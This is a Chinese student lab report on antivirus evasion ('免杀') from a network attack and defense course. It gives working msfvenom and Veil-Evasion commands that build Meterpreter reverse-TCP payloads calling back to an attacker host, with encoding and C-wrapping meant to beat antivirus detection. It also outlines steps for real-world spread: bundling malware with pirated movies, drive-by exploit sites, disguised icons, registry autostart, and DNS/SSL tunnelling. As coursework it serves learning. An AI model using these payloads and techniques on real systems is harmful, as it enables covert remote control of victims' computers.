《网络攻防》 免杀原理与实践
20145224陈颢文 《网络攻防》 免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
- 基于特征码;
- 基于行为;
- 启发式。
免杀是做什么?
- 避免恶意代码被杀毒软件扫描出来被删除,让它能正常的工作。
免杀的基本方法有哪些?
- 使用不同编码方式改变特征码;
- 改变行为方式;
- 在正常软件中留后门等。
实践总结与体会
- 真是道高一尺魔高一丈啊,了解了杀软的工作原理以后才发现它也不是万能的,只能发现它认识的病毒。连我们普通大学生都能写出免杀的恶意代码可见现在做坏事的门槛之低啊,以后下载软件多留个心眼吧,尽量去官网下,下电影游戏的时候看清楚文件包里都用什么,不要把无关的文件也下下来了。
离实战还缺些什么技术或步骤?
- 我们需要一个正经的IP地址,以便不同网段的主机都可以顺利链接到我们。去租个服务器吧~
- 将恶意代码植入他人主机。捆绑到云盘的一些电影中,利用浏览器漏洞制作一个挂马网站;
- 程序如何启动,改变程序图标和名称诱使用户误点或者修改注册表加入开机自启动;
- 使用流量,弹出虚假提权窗口骗取权限,捆绑到浏览器中使用流量;
- 欺骗防火墙,使用SSL加密传输或者封装到DNS包中。
实践过程记录
- 以下是msfvenom直接生成的meterpreter可执行文件送检结果,作为参考:
使用Msfvenom编码器
既然杀软是根据特征码来判断恶意代码的,那么我们换种编码方式把特征码改了不就好咯~
让我们来试试:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe
其中-e x86/shikata_ga_nai
是使用了msf自带的编码器,-i 10
是嵌套了10次,然而!还是被杀掉了:
原来shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,这部分早已被当做特征码了,所以说怎么编都没用。
那么我们不用msf自带的编码器不就好了吗?我觉得应该是这样的,但是没有时间进行尝试...
Veil-Evasion免杀
Veil-Evasion是一个很厉害的软件,他的原理是用其他编程语言重写了meterperter。但是kali默认没有安装,安装的也比较繁琐,在这里帮需要的同学排雷了(安好后赶紧做实验,安这个后kali容易崩):
apt-get update
不做这步有几率遇到以下错误:
apt-get install veil-evasion
过程很漫长就对了;
apt-get install wine
apt-get install nfs-common
apt-get install wine32
这个我也安装失败了,不过貌似没影响;
以上都完成了以后就运行veil-evasion
,初次运行过程很漫长,而且铁定会遇到以下错误:
不要担心,veil-evasion已经考虑到你会遇到问题了:
照做就行了:
安装完成后,进入evail-evasion
启动后,依次输入:
use python/meterpreter/rev_tcp
set LHOST 你自己kali的IP
set LPORT 你自己定的端口号
generate
Please enter the base name for output files (default is 'payload'):文件名
1
结果如下:
很多小朋友做到这步后发现找不到生成的文件了,请注意图中标绿色的路径,在命令行中吧他cp
出来就好啦!
我们来看看杀软们对它的态度如何:
Windows Defender
没有杀出来,再把它传到网上看看:
虽说还是被杀出来了,但是比起原来的已经降低了一般的检出率。
半手工制作
这可是杀手锏,检出率极低,具体过程保密,怕网友学了去做坏事,嘿嘿嘿~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali IP LPORT=端口号 -f c
生成恶意机器码
中途无聊,把拷出来的代码以文件形式保存起来送检,无毒无公害:
- 在恶意代码导出,写一个.C程序调用他即可;
程序送检以后只有5款杀软能检出病毒!
然而!!!
自家电脑把它给弄死了!!!